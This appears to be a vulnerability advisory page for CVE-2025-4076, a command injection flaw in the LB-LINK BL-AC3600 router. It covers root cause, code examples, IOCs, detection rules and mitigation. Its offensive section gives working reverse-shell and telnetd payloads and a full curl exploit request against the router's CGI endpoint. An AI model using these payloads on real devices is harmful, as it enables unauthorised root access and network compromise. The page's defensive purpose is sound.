CVE-2025-4076
Executive Summary
CVE-2025-4076 is a critical command injection vulnerability discovered in the LB-LINK BL-AC3600 router, affecting firmware versions up to and including 1.0.22. The flaw resides in the easy_uci_set_option_string_0 function within the /cgi-bin/lighttpd.cgi component, specifically in the password handler. By manipulating the routepwd argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The vendor (LB-LINK) was contacted but did not respond, leaving the vulnerability unpatched. A public proof-of-concept (PoC) exploit is available, increasing the risk of widespread exploitation. Given the device's role as a network gateway, successful exploitation can lead to lateral movement, data exfiltration, and persistent access.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in an embedded IoT device (router). The supply chain risk is limited to the device's firmware distribution and the vendor's lack of response.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) - Exploitable remotely.
- Attack Complexity: Low (AC:L) - No special conditions required.
- Privileges Required: None (PR:N) - No authentication needed.
- User Interaction: None (UI:N) - No user action required.
- Scope: Unchanged (S:U) - Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) - Full device access, credentials, and network traffic.
- Integrity Impact: High (I:H) - Full control over device configuration and firmware.
- Availability Impact: High (A:H) - Device can be bricked or used in DDoS attacks.
Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority threat for any organization using LB-LINK BL-AC3600 routers.
Deep Dive & Mechanics
The vulnerability is a classic command injection flaw in the CGI script /cgi-bin/lighttpd.cgi. The function easy_uci_set_option_string_0 is designed to set configuration options via the UCI (Unified Configuration Interface) system. The routepwd parameter is passed to a shell command without proper sanitization or escaping.
Root Cause: The application constructs a shell command by concatenating user-supplied input directly into a string that is then executed by system() or popen(). For example, the vulnerable code might look like:
sprintf(cmd, "uci set wireless.@wifi-iface[0].key='%s'", routepwd);
system(cmd);
An attacker can inject a command by providing a value like '; malicious_command ;'. The single quote closes the intended string, the semicolon terminates the uci command, and the attacker's command is executed.
Attack Flow:
- Attacker sends a crafted HTTP POST request to
/cgi-bin/lighttpd.cgiwith theroutepwdparameter containing the injection payload. - The CGI script processes the request and passes the unsanitized
routepwdto the vulnerable function. - The injected command is executed with root privileges (as the CGI runs as root).
- Attacker gains a reverse shell, installs malware, or exfiltrates data.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
void easy_uci_set_option_string_0(char *routepwd) {
char cmd[512];
snprintf(cmd, sizeof(cmd), "uci set wireless.@wifi-iface[0].key='%s'", routepwd);
system(cmd);
}
Patched Code (Conceptual):
void easy_uci_set_option_string_0(char *routepwd) {
// Sanitize input: remove shell metacharacters
char sanitized[256];
int j = 0;
for (int i = 0; routepwd[i] != '\0' && j < 255; i++) {
if (routepwd[i] != '\'' && routepwd[i] != ';' && routepwd[i] != '|' && routepwd[i] != '&' && routepwd[i] != '$' && routepwd[i] != '`') {
sanitized[j++] = routepwd[i];
}
}
sanitized[j] = '\0';
char cmd[512];
snprintf(cmd, sizeof(cmd), "uci set wireless.@wifi-iface[0].key='%s'", sanitized);
system(cmd);
}
Note: The patched code above is a minimal example. A more robust solution would use execve() with separate arguments or use a library that avoids shell interpretation entirely.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target: LB-LINK BL-AC3600 with firmware <= 1.0.22
- Network access to the router's web interface (typically on port 80 or 443)
- A listener for reverse shell (e.g.,
nc -lvnp 4444)
Exploit Payload (Command Injection):
# Reverse shell payload (URL-encoded)
routepwd=';nc 192.168.1.100 4444 -e /bin/sh;'
Full Exploit Request (using curl):
curl -X POST http://<router_ip>/cgi-bin/lighttpd.cgi \
-d "action=set&routepwd=';nc 192.168.1.100 4444 -e /bin/sh;'"
Alternative Payload (BusyBox-based):
routepwd=';telnetd -l /bin/sh -p 2323;'
Metasploit Module (if available):
# Placeholder for a Metasploit module
# use exploit/linux/http/lblink_blac3600_cmd_inject
Blue Team (Defensive)
Lab Setup for Testing:
- Isolate the router in a VLAN with no access to production networks.
- Use a network tap or SPAN port to capture traffic.
- Deploy a honeypot mimicking the router's web interface to detect scanning.
Detection Steps:
- Monitor HTTP POST requests to
/cgi-bin/lighttpd.cgiwith suspiciousroutepwdparameters. - Look for shell metacharacters (
;,|,&,`,$()) in theroutepwdfield. - Alert on outbound connections from the router to unusual IPs/ports (e.g., reverse shell attempts).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/cgi-bin/lighttpd.cgiwithroutepwdcontaining shell metacharacters. - Outbound connections from the router to external IPs on non-standard ports (e.g., 4444, 2323).
- DNS queries to known malicious domains or IPs associated with botnets.
Host IOCs (on the router):
- Unusual processes running (e.g.,
nc,telnetd,bash). - Modified or new files in
/tmpor/etc(e.g.,/tmp/.persist). - Changes to the UCI configuration (e.g.,
uci show wireless). - Presence of known malware binaries (e.g., Mirai, Gafgyt).
File IOCs:
/tmp/*.sh- Suspicious shell scripts./etc/init.d/*- Modified startup scripts./usr/sbin/*- Replaced binaries.
Detection Engineering
YARA Rule
rule CVE_2025_4076_LBLINK_CMD_INJECTION {
meta:
description = "Detects command injection attempts against LB-LINK BL-AC3600"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4076"
strings:
$http_post = "POST /cgi-bin/lighttpd.cgi" ascii wide nocase
$routepwd = "routepwd=" ascii wide nocase
$shell_meta1 = ";" ascii wide
$shell_meta2 = "|" ascii wide
$shell_meta3 = "&" ascii wide
$shell_meta4 = "`" ascii wide
$shell_meta5 = "$(" ascii wide
condition:
$http_post and $routepwd and (
#shell_meta1 or #shell_meta2 or #shell_meta3 or #shell_meta4 or #shell_meta5
)
}
Sigma Rule
title: CVE-2025-4076 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/lighttpd.cgi with shell metacharacters in the routepwd parameter.
author: Valters IT
date: 2025/04/10
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/lighttpd.cgi'
cs-uri-query|contains: 'routepwd='
filter:
cs-uri-query|contains:
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection and filter
falsepositives:
- Legitimate use of special characters in password (unlikely)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-4076 LB-LINK BL-AC3600 Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/lighttpd.cgi"; http_uri;
content:"routepwd="; http_client_body;
pcre:"/routepwd=[^&]*(?:;|\||&|`|\$\(|\))/Pi";
classtype:attempted-admin;
sid:10000001;
rev:1;
reference:cve,2025-4076;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place LB-LINK BL-AC3600 routers on a separate VLAN with strict firewall rules.
- Disable remote management: If not required, disable the web interface from the WAN side.
- Monitor for exploitation: Deploy the provided detection rules (YARA, Sigma, Suricata) to identify attacks.
Long-term Remediation:
- Vendor patch: Since the vendor is unresponsive, consider replacing the device with a supported alternative.
- Custom firmware: If technically feasible, flash an open-source firmware like OpenWrt (if compatible) to replace the vulnerable software stack.
- Network segmentation: Implement strict network segmentation to limit the blast radius of a compromised router.
Workaround (if device cannot be replaced):
- Block HTTP POST requests to
/cgi-bin/lighttpd.cgiat the network perimeter using a WAF or IPS. - Implement a reverse proxy that sanitizes the
routepwdparameter before forwarding to the router.
Valters IT